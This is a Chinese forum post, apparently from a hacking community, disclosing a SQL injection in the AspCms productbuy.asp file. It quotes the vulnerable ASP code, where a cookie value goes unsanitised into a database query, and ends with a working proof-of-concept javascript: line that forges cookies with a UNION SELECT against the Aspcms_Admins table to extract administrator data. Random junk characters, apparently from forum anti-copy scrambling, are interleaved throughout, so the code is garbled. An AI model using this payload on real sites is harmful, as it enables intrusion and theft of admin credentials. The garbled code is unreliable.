好久没上土司了,上来一看发现在删号名单内.....
! i1 y E# u4 R" |( U. Y: S也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。/ k" ?1 U/ Q8 j \0 @/ Q* m- V) M
废话不多说,看代码:
" t4 V. l, ?& h7 f: L) O
+ G; `% s! ]/ _& v8 r<%; ]% S; B; a' u. |) \( j
" n( Z( k: _; H" Bif action = "buy" then
+ Z, @3 M0 z* A8 E9 X% f: d/ `2 n/ Z5 L$ o1 {' }2 E
addOrder()& T/ p" j' i8 c0 n- q0 F
7 P- F$ h( f, }" n' t5 Q6 eelse: r/ ^* e8 N/ ]" O+ N4 Q6 k
% w6 y7 V# f' T/ \0 T R" d
echoContent()
5 c7 U# U2 F$ ^# o' Q% I' m. ^7 K; R9 |8 X3 I0 h [: h0 s2 g
end if! c" L* Y7 y& T* c* L
9 x; E1 a: w. N7 v5 X
% F( C. x3 ~9 M
+ U; V/ P0 W" M4 g/ M7 F
……略过/ |8 {9 I/ e8 `# T. N1 B6 i
8 l5 V, r" r6 Z$ k# x2 B- K3 m& d& N p
$ A! l. h# D0 m" K% C' N
: }. h% k/ E- L. b# ~, n ]Sub echoContent()
7 I, a3 n) G0 H0 f- i9 l6 _, x0 \4 L' k. _( K" r
dim id
) {# Z. |( p6 B4 C# ^* ~6 p/ e# ^7 B) g: h/ b
id=getForm("id","get")4 R% I& n4 Q8 a+ G
7 O" l2 D7 c- E
# f) H0 Y. P/ t
. q5 p0 R, v6 v, x* k0 [. s if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
" s! ^! n% |! |. B0 l& D
& T/ t% R9 J0 W* T7 T. V 1 V6 A6 `2 q: v/ L2 a
$ Q V0 q1 x, j- p dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
1 l+ u+ ~$ a3 O4 r! G1 D
4 y! u* e5 m) N4 ^% p" J& f8 ~" e dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct6 J( K3 S- Y; C6 t6 d) {; {
( v8 {0 m+ G% {. ?* [ Dim templatePath,tempStr
2 ^1 f& ` T5 F/ K( }
& f4 ~0 i( q8 }; ? templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html") j# p8 ?- b# u+ j
& b9 O" y3 [( Y! c' _
' i/ ~1 v/ `6 E
1 s2 Q" y R G8 r* l9 z set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")3 T. f' X& |6 W
4 K" l; x% Y% [ selectproduct=rsObj(0)2 X/ \9 i% L# N6 f& ]
; n6 a' n3 o2 s7 ?0 J5 \/ @8 t
- S* s; m" q+ p8 p" A) Y! M3 C# M
# f; n* J9 C8 I. u Dim linkman,gender,phone,mobile,email,qq,address,postcode
) B1 ^) L: d# m7 ^+ ~. D' E& k5 T. ]( [6 a0 e
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
: D" H# K1 q0 o' F1 h2 b. ?* P3 e5 {9 r/ f8 `
if rCookie("loginstatus")=1 then
" {1 ~; A8 g* T$ C6 B5 K) B* ^' ~# O* `; p5 s
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")/ G( z7 R' L# a0 T9 g2 i$ [
, }, a% [* W$ H5 ? linkman=rsObj("truename")
/ |! ?/ z( S6 P
/ o( U d* U+ [7 m. M; V) J gender=rsObj("gender")
! |, Y; {5 P0 @& I& i' R8 A! U7 R& C2 t' q( x) J& X2 J0 x3 C
phone=rsObj("phone")/ p& J8 k$ Y* y. G- y6 E$ {0 H
1 ^! G$ J! y9 l mobile=rsObj("mobile")
, L; o, ~, d1 o+ {7 w
/ w# K) k/ o8 B email=rsObj("email")
+ Y! t( ]% @4 p6 a$ W. G% e
; X" X6 ?* w1 M0 ~6 `7 X" T qq=rsObj("qq"), ~. r: G$ J, ?! j, i j
b ?# s; \4 y2 y+ m% `/ I
address=rsObj("address")7 y' ~/ t% c# H
]0 t" {# T1 w& \! }; V: K) f postcode=rsObj("postcode")# R ~- w, V7 Q3 C; C3 y7 B
/ j" r- O, F+ F* ^% Q9 @ else 1 e3 Q/ j% B5 l B% G; w4 @
2 |( Q+ L# }! I' q9 k8 W gender=1
: b% D& b$ h/ s: G) |3 ~
* h; B& s2 R9 x' B/ `4 v end if
) v+ _( ~6 N) u' {1 i% y0 ?# G3 W' c M. f& u! T+ u, _
rsObj.close()
* N4 T+ B0 `& @! o& J6 S2 x9 I* {5 n. D" t" V5 j# b
/ ` \$ R& N5 p( g4 p! T
8 O/ F# i" @5 _! T' E) B6 J
with templateObj
5 i( O" a5 H' N) X0 x% Q! y. e
.content=loadFile(templatePath) " I( I: `2 g0 {6 [: y2 O, T# C
9 ~* Y4 y$ e3 j8 D3 O% _
.parseHtml(); S( x1 ^8 E. r1 S1 D8 O4 q
8 f- l" B( i! {1 D% H( Q Y
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)7 f5 C; ^- `1 h! A6 @+ s. P
* p3 n0 c. B# B; g, H .content=replaceStr(.content,"[aspcms:linkman]",linkman)
- l3 D) n* D1 o. g( a1 F+ y) T5 R `$ b7 `* r" r# \* [ U
.content=replaceStr(.content,"[aspcms:gender]",gender) / e4 d6 `, U. z) |9 N3 x
8 j! J5 \- ?$ c$ B/ t
.content=replaceStr(.content,"[aspcms:phone]",phone) ) z8 q1 d, ]4 v) X. I0 K3 P
0 H* X$ w' F' ~' o: k( L
.content=replaceStr(.content,"[aspcms:mobile]",mobile) 0 y# x* ]/ f2 K4 `% |
" e Y) y/ m2 b4 ~% G+ e6 R# H
.content=replaceStr(.content,"[aspcms:email]",email)
9 m: n) h& ?1 h. V0 Q- k8 \' D7 p4 U+ D
.content=replaceStr(.content,"[aspcms:qq]",qq)
3 A0 M9 B* R, G0 v. Y g3 G' `& O7 N- ?* @
.content=replaceStr(.content,"[aspcms:address]",address)
" G, y8 r: W' q' D1 R) q" s6 s. E3 }8 [6 @" K$ t0 J+ q
.content=replaceStr(.content,"[aspcms:postcode]",postcode) ; M. l9 r$ X& l
1 E9 D7 U6 d3 u* i, g .parseCommon() d2 E I' L1 K
' p7 |! |! k; e9 H P, P echo .content
4 v, m& a6 h$ p4 A" o2 F/ U! K% | b5 h
end with
7 L/ |* x- k& W& Q3 t/ K1 o' F% X5 B3 _
set templateobj =nothing : terminateAllObjects& G; o7 _1 j9 O- q7 X' d
5 i7 l# h2 q- Y" |5 U( r* D% b5 x/ J
End Sub
4 @" f" x1 h' q8 k; N. W2 r漏洞很明显,没啥好说的
+ ~ ?' D, v' h; O4 Ypoc:
/ {' `9 ~, n+ [6 B: R2 Y9 y
1 {( Z5 Y) l, \9 V v0 v0 ojavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子5 T" _+ u& \6 t" N3 L6 T
0 j8 \. c& d: e* u4 o
|